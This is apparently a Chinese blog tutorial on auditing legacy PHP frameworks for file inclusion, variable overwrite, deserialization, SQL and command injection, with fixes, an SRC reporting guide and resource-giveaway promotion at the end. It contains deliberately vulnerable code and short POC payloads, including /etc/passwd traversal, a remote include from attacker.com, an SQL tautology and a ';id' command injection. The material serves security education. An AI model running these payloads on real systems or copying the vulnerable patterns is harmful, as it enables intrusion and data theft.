法律声明:本文内容仅用于网络安全学习、PHP 代码审计、SDL 安全开发自查。文中漏洞代码、POC 载荷仅用于原理演示,严禁未经授权对线上系统进行代码审计、漏洞探测。任何安全测试必须获得资产所有者书面授权,遵守《网络安全法》《数据安全法》等法律法规。
摘要
PHP 是老牌 Web 开发语言,大量历史遗留项目、中小型后台、CMS 建站系统、企业门户仍然使用 PHP 开发,且很多跑在旧版 PHP(PHP 5.x、PHP 7.0)和旧版框架(ThinkPHP 3.x、老 ThinkPHP 5.0、Laravel 低版本、dedecms、Discuz)上。这些旧版系统存在大量经典高危漏洞:文件包含、变量覆盖、反序列化、命令执行、SQL 注入,是 SRC 挖洞和代码审计的高价值目标。
很多安全审计人员习惯 Java/Node/Python 审计思路,切换到 PHP 项目时踩坑不断:不懂 register_globals 变量覆盖机制、找不到 include/include_once 文件包含 Sink、分不清(_GET/)_REQUEST/GPC 参数获取差异、对旧框架全局函数变量覆盖认识不足。
本文万字实战教程,聚焦旧版 PHP 框架三大核心高危漏洞:文件包含(LFI/RFI)、变量覆盖、反序列化漏洞,同时附带 SQL 注入、命令执行等常见漏洞审计思路,完整讲解污点溯源、漏洞原理、可复现代码、POC 验证、修复加固,同时梳理 PHP 代码审计专用工具链。适合 PHP 开发、安全工程师、代码审计人员、SRC 白帽学习使用。
前言
PHP 代码审计,底层污点分析模型和其他语言一致:Source(用户可控输入)→ 污点传播 → Sink(危险函数)。但是 PHP 有大量独有机制,是审计重点:
- 超全局变量
$_GET、$_POST、$_REQUEST、$_COOKIE是天然污点源; register_globals(PHP4/5 早期)会把用户参数直接变成全局变量,造成变量覆盖漏洞;include、require、include_once文件包含函数,用户可控参数直接拼路径,造成任意文件读取 / 包含;extract()函数把数组展开成变量,配合用户可控数组,造成变量覆盖;unserialize()反序列化外部不可信输入,造成反序列化漏洞,PHP 反序列化比 Java 更常见、更易利用;$_REQUEST同时包含 GET、POST、Cookie 参数,是审计踩坑点。
PHP 常见污点 Source(用户可控输入)
$_GETURL 参数$_POSTPOST 参数$_REQUESTGET+POST+Cookie 合并$_COOKIECookie$_FILES上传文件$_SERVER['HTTP_*']请求头
审计重点:很多开发习惯用
$_REQUEST,它会合并 GET、POST、Cookie 三个来源,审计时$_REQUEST获取的变量全部视为用户可控污点。
本文重点漏洞对应 Sink 危险函数
| 漏洞类型 | 危险 Sink 函数 / 代码 | 风险等级 |
|---|---|---|
| 文件包含(LFI/RFI) | include、include_once、require、require_once,用户可控变量拼路径 | 高危 / 严重 |
| 变量覆盖 | extract ()、parse_str ()、$$ 变量覆盖、register_globals | 中高危 |
| 反序列化 | unserialize ()、__wakeup/__destruct 魔术方法链 | 高危 / 严重 |
| SQL 注入 | mysql_query 拼接、mysqli_query 拼接、字符串拼 SQL | 高危 |
| 命令执行 | system()、exec()、shell_exec()、passthru()、eval()、assert() | 严重 |
前置知识点:PHP 超全局变量。
$_GET、$_POST、$_REQUEST等,无论 register_globals 是否开启,它们始终存在。用户提交的参数全部可控。
一、PHP 代码审计前置准备
1.1 审计工具链(PHP 专用)
- VS Code / PHPStorm:源码阅读,全局搜索危险函数、变量引用;
- PHPStorm Xdebug:本地调试,动态跟踪变量值,复现漏洞;
- RIPS:PHP 专用静态扫描工具,扫描源码批量定位危险函数(老牌工具,现在部分失效);
- Semgrep / CodeQL:新版 PHP 静态扫描;
- seay 源代码审计系统:国内 PHP 审计老牌工具,内置大量危险函数规则,适合快速扫描;
- BurpSuite:构造 HTTP 请求,验证 POC;
- 本地 LAMP 环境 / Docker + PHP:复现漏洞。
1.2 快速定位 PHP 项目入口
拿到 PHP 源码,审计第一步找入口文件。
- 入口文件:
index.php、config.php、init.php; - 路由分发:
$_GET['action']、$_GET['m']、$_GET['c']参数做路由,常见于旧 CMS; - 框架特征:
- ThinkPHP:
ThinkPHP目录、Application目录、$this->assign() - Laravel:
app/Http/Controllers、routes/web.php - dedecms、Discuz、phpcms:
/include/、/data/
- ThinkPHP:
- 全局配置:
config.php、config.inc.php。
审计小技巧:旧 CMS 经常把路由写在
index.php最前面,require一堆文件,很多漏洞藏在 include 文件中。
1.3 PHP 污点传播特点
- 超全局变量
$_GET等是强污点源,从入口开始追踪; - 变量赋值、函数传参、数组索引传递污点;
- 字符串拼接、双引号变量插值
"$var"是高频传播方式; $GLOBALS全局变量、extract()展开变量,会造成污点散落;- include 文件跨文件污染,
$_GET['xxx']可能在任意被 include 的文件中使用; - 魔术方法
__wakeup、__destruct在反序列化 / 脚本结束时自动执行,审计反序列化漏洞重点。
二、实战一:文件包含漏洞审计(LFI/RFI)
2.1 漏洞原理
PHP 文件包含,通过include、require、include_once、require_once加载文件。当文件名参数来自用户可控输入,直接拼接路径,攻击者可以:
- 本地文件包含(LFI):包含服务器本地任意文件,读取
/etc/passwd、源码文件; - 远程文件包含(RFI):包含远程恶意 PHP 文件,直接执行攻击者代码,拿下服务器(require_remote 等配置)。
- Source:用户可控文件名参数;
- Sink:include、require;
- 风险等级:高危(LFI)/ 严重(RFI);
- 危害:任意文件读取、代码执行、服务器沦陷。
2.2 源码审计,污点链路溯源
典型漏洞代码(旧 CMS 常见)
<?php
// 入口index.php
$page = isset($_GET['page']) ? $_GET['page'] : 'home';
// 直接拼接include,Sink
include($page . ".php");
?>
POC payload:
index.php?page=../../../../etc/passwd%00
PHP5.x 时代,%00(空字节)可以截断.php后缀,实现任意文件读取。
(PHP5.3.4 之后修复了空字节截断,但很多旧系统仍受影响。)
远程文件包含 payload:
index.php?page=http://attacker.com/shell.txt
如果开启 allow_url_include,直接包含远程恶意文件,执行攻击者代码。
常见漏洞变体:include 用户可控变量(ThinkPHP 旧版)
<?php
// 旧版ThinkPHP视图加载
$template = $_GET['tpl'];
include(APP_PATH . "view/" . $template . ".html");
?>
同理存在文件包含 / 路径穿越风险。
2.3 完整污点链路
GET 参数 page(Source) → 变量赋值 → 字符串拼接 → include(Sink)
无白名单、无路径校验,确认文件包含漏洞。
2.4 常见误报识别
SAST 扫描报文件包含,但实际不可利用:
- include 参数来自服务端固定变量,不是用户可控;
- 用户输入经过白名单校验,只允许特定文件;
- include 路径经过
realpath校验,限制在指定目录。
2.5 漏洞修复方案
- 禁止用户可控参数直接拼入 include/require 路径;
- 使用白名单,将允许包含的文件列表固定,只允许指定文件名;
- 关闭远程文件包含:
php.ini设置allow_url_include=Off; - 规范文件路径,校验真实路径在预设目录内;
- 升级 PHP 版本、框架版本。
安全白名单示例:
$page = $_GET['page'];
$allowPages = ['home','about','contact'];
if(!in_array($page, $allowPages)){
die('非法页面');
}
include($page . ".php");
2.6 纵深加固
- 文件包含参数使用白名单校验,禁止路径穿越符号;
- 升级 PHP 到安全版本(PHP 8.x),关闭危险配置;
- 文件系统权限最小化,禁止读取敏感目录;
- 使用
require_once相对路径,限制包含目录。
三、实战二:变量覆盖漏洞审计
3.1 漏洞原理
变量覆盖:攻击者通过可控输入,覆盖程序中关键变量的值,篡改业务逻辑。PHP 变量覆盖常见方式:
extract()函数:将数组键值对展开为变量,如果参数来自用户可控数组,可以覆盖任意变量;parse_str()函数:解析查询字符串为变量,可能覆盖;$$动态变量:$$key,用变量值做变量名,覆盖变量;register_globals:老版本 PHP 把$_GET/$_POST参数自动注册为全局变量,覆盖同名变量。
- Source:用户可控数组 / 参数;
- Sink:extract ()、parse_str ()、$$ 动态变量;
- 风险等级:中高危;
- 危害:覆盖权限变量(isAdmin)、覆盖数据库配置、篡改业务逻辑。
3.2 源码审计,污点链路溯源
场景一:extract () 变量覆盖(高频)
<?php
// 危险:extract直接展开用户可控$_GET数组,覆盖全局变量
extract($_GET);
// $action变量被用户可控参数覆盖
$action = isset($action) ? $action : 'view';
if($action == 'delete'){
// 危险操作
deleteUser();
}
?>
POC payload:
index.php?action=delete
extract($_GET)把$_GET的action键值展开成$action变量,覆盖原$action,触发 delete 操作。
更严重场景:覆盖权限变量
<?php
$isAdmin = false; // 初始化权限变量
extract($_GET); // 用户可控参数展开,覆盖$isAdmin
if($isAdmin){
//管理员操作
showAdminData();
}
?>
POC payload:index.php?isAdmin=1,直接覆盖$isAdmin=true,普通用户拿到管理员权限。
场景二:$$ 动态变量覆盖
<?php
$key = $_GET['key']; // 用户可控
$$key = 1; // 动态变量,$key的值作为变量名,覆盖同名变量
?>
如果$key=isAdmin,则$isAdmin=1,覆盖权限变量。
场景三:register_globals(PHP4/5 早期)
老版本开启 register_globals 时,$_GET、$_POST参数自动成为全局变量。
<?php
$isAdmin = false;
// register_globals开启,用户提交isAdmin=1,自动覆盖$isAdmin
if($isAdmin){
//管理员操作
}
?>
POC:index.php?isAdmin=1,覆盖权限判断。
审计要点:老版本 PHP 系统,检查 php.ini 是否开启 register_globals,开启则所有
$_GET、$_POST参数都可能覆盖全局变量。
3.3 常见误报识别
- extract () 参数不是用户可控数组,是服务端内部数组;
- 展开的变量名经过过滤,无法覆盖关键变量;
- 覆盖的变量不会影响关键业务逻辑判断。
3.4 漏洞修复方案
- 禁止使用 extract ((_GET)、extract()_POST),更不要 extract ($_REQUEST);
- 关闭 register_globals(php.ini 设置
register_globals=Off,PHP5.4 已移除该特性); - 禁止使用
$$动态变量拼接用户可控变量名; - 关键变量从固定来源读取,不从用户可控来源覆盖;
- 升级 PHP 版本(PHP5.4 后移除 register_globals)。
安全写法:
<?php
// 安全:不extract用户数组,手动白名单提取
$action = isset($_GET['action']) ? $_GET['action'] : 'view';
$allowAction = ['view','list'];
if(!in_array($action,$allowAction)){
die('非法操作');
}
// 权限变量从session/数据库读取,不从GET覆盖
$isAdmin = $_SESSION['isAdmin'];
?>
3.5 纵深加固
- 关闭 register_globals,升级 PHP 版本;
- 代码评审禁止 extract 用户可控数组;
- 权限判断统一从 session、数据库读取,不依赖请求参数。
四、实战三:PHP 反序列化漏洞审计
4.1 漏洞原理
PHP 反序列化:unserialize()反序列化外部不可信字符串,生成 PHP 对象,会触发对象的魔术方法(__wakeup、__destruct、__construct)。攻击者构造恶意序列化 payload,触发 POP 链(Property-Oriented Programming,属性导向编程),最终执行任意代码、读写文件、SSRF。
- Source:用户可控序列化字符串;
- Sink:unserialize();
- 风险等级:严重;
- 危害:远程代码执行、任意文件读取、SSRF,拿下服务器。
PHP 反序列化和 Java 反序列化类似,但 PHP 利用起来往往更容易,因为 PHP 魔术方法自动触发。审计重点是:找到
unserialize()接受外部输入的位置,以及项目中的危险魔术方法链。
4.2 源码审计,污点链路溯源
场景:直接反序列化用户 Cookie
<?php
// 从Cookie读取序列化字符串
$data = $_COOKIE['userinfo'];
// 直接反序列化,Sink
$user = unserialize($data);
?>
如果 Cookie 被攻击者控制,可以构造恶意序列化字符串,触发反序列化漏洞。
危险魔术方法示例
<?php
class FileHandler{
public $filename;
public function __destruct(){
// __destruct脚本结束自动触发
if(file_exists($this->filename)){
echo file_get_contents($this->filename);
}
}
}
?>
攻击者构造序列化 payload,让$filename指向/etc/passwd,反序列化后__destruct自动触发,读取文件。
反序列化结合文件包含漏洞
<?php
$page = unserialize($_COOKIE['page']);
include($page); // 反序列化对象配合include,文件包含
?>
4.3 常见误报识别
- unserialize 参数不是外部用户可控输入,是服务端内部序列化数据;
- 反序列化后对象不会触发可利用的魔术方法链;
- 项目中没有可利用的 POP 链(危险魔术方法)。
4.4 漏洞修复方案
- 禁止反序列化外部不可信输入,这是最根本修复;
- 如果必须反序列化,使用
allowed_classes限制允许的类:
$user = unserialize($data, ['allowed_classes'=>['User']]);
- 使用 JSON 替代序列化:
json_encode/json_decode,JSON 不会触发 PHP 魔术方法; - 对反序列化输入做校验、签名,防止篡改;
- 升级 PHP 版本、框架版本。
4.5 纵深加固
- 业务尽量用 JSON 序列化,不用 PHP 原生 serialize 对外;
- Cookie 只存会话 ID,不存序列化对象;
- 反序列化输入加白名单类校验;
- 定期扫描项目危险魔术方法,排查 POP 链。
五、PHP 其他高频漏洞补充审计思路
5.1 SQL 注入
旧版 PHP 大量使用mysql_query(PHP5.5 废弃)、mysqli_query直接拼接 SQL。
<?php
$username = $_GET['username'];
$sql = "select * from user where username='".$username."'";
mysql_query($sql); // 高危
?>
POC:?username=' or '1'='1
审计重点:搜索
mysql_query、mysqli_query、query,查看 SQL 是否拼接用户输入。
安全写法:使用mysqli_prepare预处理语句或 PDO 参数化查询。
5.2 命令执行
旧版 PHP 经常出现system()、exec()、shell_exec()直接执行用户可控命令。
<?php
$ip = $_GET['ip'];
system("ping -c 4 ".$ip); // 高危
?>
POC:?ip=127.0.0.1;id
审计:搜索
system、exec、shell_exec、passthru,查看是否拼接用户输入。
5.3 eval /assert 代码执行
<?php
$code = $_GET['code'];
eval($code); // 高危,执行任意PHP代码
?>
审计重点:
eval、assert(PHP5.5 前)、create_function(已废弃)直接执行用户可控字符串,属于严重漏洞。
5.4 SQL 注入(MySql 字符串拼接)
老 ThinkPHP 3.x 默认使用where("$where")拼接条件,如果$where用户可控,会产生注入。
5.5 上传漏洞
旧 CMS 文件上传未校验类型,直接保存 php 文件,配合 Apache 解析漏洞执行 webshell。
六、PHP 代码审计难点:跨文件、全局变量、魔术方法
6.1 跨文件污点散落(include 链)
PHP 项目大量使用 include 加载文件,$_GET['xxx']可能在任意被 include 的文件中直接使用,污点散落在多个文件。
审计技巧:先搜索所有 include/require,梳理文件包含链,再追踪每个文件的污点使用。
6.2 $GLOBALS 全局变量
$GLOBALS保存所有全局变量,$GLOBALS['xxx']可被覆盖,影响全局逻辑。
6.3 魔术方法自动触发
反序列化漏洞关键在魔术方法:__wakeup(反序列化时)、__destruct(销毁时)、__toString(对象转字符串时)、__call。
审计反序列化,重点梳理项目中可被触发的魔术方法链(POP 链)。
6.4 双引号变量插值
PHP 双引号字符串"$var"会解析变量,用户可控$var直接拼入危险函数,静态扫描有时会漏。
七、SAST 工具扫描结果复核(区分真漏洞 / 误报)
拿到 Seay/RIPS/Semgrep 扫描报告,按照下面步骤复核:
- 确认污点源:变量是否来自
$_GET、$_POST、$_REQUEST等用户可控输入; - 完整追踪污点链路:变量是否一路传递到危险 Sink 函数;
- 检查中间过滤逻辑:是否过滤、白名单校验、转义;
- 跨文件追踪:变量可能在 include 的其他文件中使用;
- 构造 POC 验证漏洞可复现;
- 判断接口权限:是否需要登录、高权限,普通用户是否可达。
常见误报场景:
- 变量是服务端内部固定值,不是外部输入;
- 输入经过严格白名单校验,非法字符全部拦截;
- include 参数经过 realpath 路径校验;
- 反序列化加了 allowed_classes 限制。
八、SRC 漏洞报告撰写要点(PHP 代码审计)
提交 PHP 代码审计漏洞,报告写清楚下面内容,降低驳回概率:
- 漏洞名称、漏洞等级;
- 源码文件路径、函数名、入口 URL;
- 完整污点链路:Source → 污点传播 → Sink;
- 漏洞原理详细说明(文件包含需写清 LFI/RFI 区别,反序列化需写清 POP 链);
- POC 请求数据包、payload、复现截图;
- 漏洞影响范围;
- 修复代码、加固方案。
重点提示:PHP 反序列化报告一定要写清楚触发条件、魔术方法链,厂商审核人员才能确认漏洞可利用。变量覆盖报告要说明覆盖哪个变量、造成什么业务影响,不要只贴 payload。
九、PHP 安全开发自查清单
开发提交代码前,对照自查清单:
- 禁止 include/require 用户可控变量拼接路径,使用白名单;
- 关闭 register_globals,禁止 extract ((_GET)、extract()_POST);
- 禁止反序列化外部不可信输入,必须使用 allowed_classes 限制;
- SQL 查询使用 PDO 预处理参数化,禁止字符串拼接;
- 禁止 system、exec、shell_exec 拼接用户可控命令;
- 禁止 eval、assert、create_function 执行用户可控字符串;
- 文件上传校验真实文件类型,禁止上传 php 脚本;
- 升级 PHP 版本到 PHP 8.x,关闭危险配置;
- 关键权限变量从 session / 数据库读取,不依赖请求参数;
- 避免使用
$$动态变量拼接用户可控变量名。
十、总结
PHP 代码审计,尤其是旧版 PHP 框架审计,是 SRC 挖洞中高价值领域。大量历史遗留 CMS、企业后台跑在旧版 PHP,存在文件包含、变量覆盖、反序列化这些经典漏洞,而且很多资产互联网可直接访问,攻击门槛低,一旦挖到等级高。
核心要点总结:
- 文件包含:include/require 接收用户可控参数拼路径,LFI 可任意文件读取,RFI 可远程代码执行。修复用白名单,关闭 allow_url_include。
- 变量覆盖:extract ()、parse_str ()、register_globals、$$ 动态变量覆盖关键变量,最常见利用是覆盖权限变量 isAdmin 拿管理员权限。修复禁止 extract 用户输入,关闭 register_globals。
- 反序列化:unserialize () 接收外部输入,触发魔术方法 POP 链,可 RCE、文件读取。修复禁止反序列化不可信输入,使用 allowed_classes,优先 JSON。
PHP 审计的工具链:Seay 源代码审计系统、RIPS、Semgrep 快速扫描,配合人工污点追踪。PHP 旧版系统的 register_globals、空字节截断等历史特性,是区别于其他语言的独有漏洞点。
对于 SRC 挖洞,遇到旧版 PHP 系统(老 ThinkPHP、dedecms、Discuz),优先测试文件包含、变量覆盖、反序列化这三类经典漏洞,产出高、命中率高。
免责声明:本文漏洞代码仅用于安全学习,禁止未经授权对任何系统进行代码审计与漏洞探测。所有安全测试必须获得资产所有者授权,遵守《网络安全法》等法律法规。
以上就是今天的分享,觉得有帮助,记得点赞+收藏,以上所说到的漏洞扫描工具都整理成压缩包了,朋友们如果需要可以微信扫描下方优快云官方认证二维码免费领取【保证100%免费】


同时还为准备学习网络安全(黑客)或者正在学习,整理了一套360独家内部资料,包含以下内容,如有需要也可文末获取:
①网络安全学习路线
②20份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥网络安全必备书籍
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析
一、网络安全(黑客)学习路线
网络安全(黑客)学习路线,形成网络安全领域所有的知识点汇总,它的用处就在于,你可以按照上面的知识点去找对应的学习资源,保证自己学得较为全面。

二、网络安全教程视频
我们在看视频学习的时候,不能光动眼动脑不动手,比较科学的学习方法是在理解之后运用它们,这时候练手项目就很适合了。

三、网络安全CTF实战案例
光学理论是没用的,要学会跟着一起敲,要动手实操,才能将自己的所学运用到实际当中去,这里带来的是CTF&SRC资料&HW资料,毕竟实战是检验真理的唯一标准嘛~

四、网络安全面试题
最后,我们所有的作为都是为就业服务的,所以关键的临门一脚就是咱们的面试题内容,所以面试题板块是咱们不可或缺的部分,这里我给大家准备的就是我在面试期间准备的资料。

网安其实不难,难的是坚持和相信自己,我的经验是既然已经选定网安你就要相信它,相信它能成为你日后进阶的高效渠道,这样自己才会更有信念去学习,才能在碰到困难的时候坚持下去。
机会属于有准备的人,这是一个实力的时代。人和人之间的差距不在于智商,而在于如何利用业余时间,只要你想学习,什么时候开始都不晚,不要担心这担心那,你只需努力,剩下的交给时间!
这份完整版的网络安全学习资料已经上传优快云,朋友们如果需要可以微信扫描下方优快云官方认证二维码免费领取【保证100%免费】

本文聚焦旧版PHP框架(如ThinkPHP 3.x、dedecms、Discuz等)中文件包含(LFI/RFI)、变量覆盖(extract/$$/register_globals)和反序列化(unserialize+POP链)三大高危漏洞的代码审计方法。详细阐述污点溯源路径、典型漏洞代码、POC验证、误报识别及修复加固方案,并介绍PHP专用审计工具链(Seay、RIPS、Semgrep)与人工复核要点,适用于SRC挖洞与SDL安全自查。
2447

被折叠的 条评论
为什么被折叠?



